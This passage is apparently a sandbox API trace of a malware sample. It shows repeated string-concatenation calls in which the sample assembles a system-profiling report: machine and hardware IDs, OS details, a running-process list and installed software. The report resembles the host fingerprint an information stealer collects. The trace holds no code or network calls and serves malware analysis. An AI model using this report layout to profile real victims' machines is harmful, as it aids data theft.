[16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 ["
[0054.967] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001"
[0054.967] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe 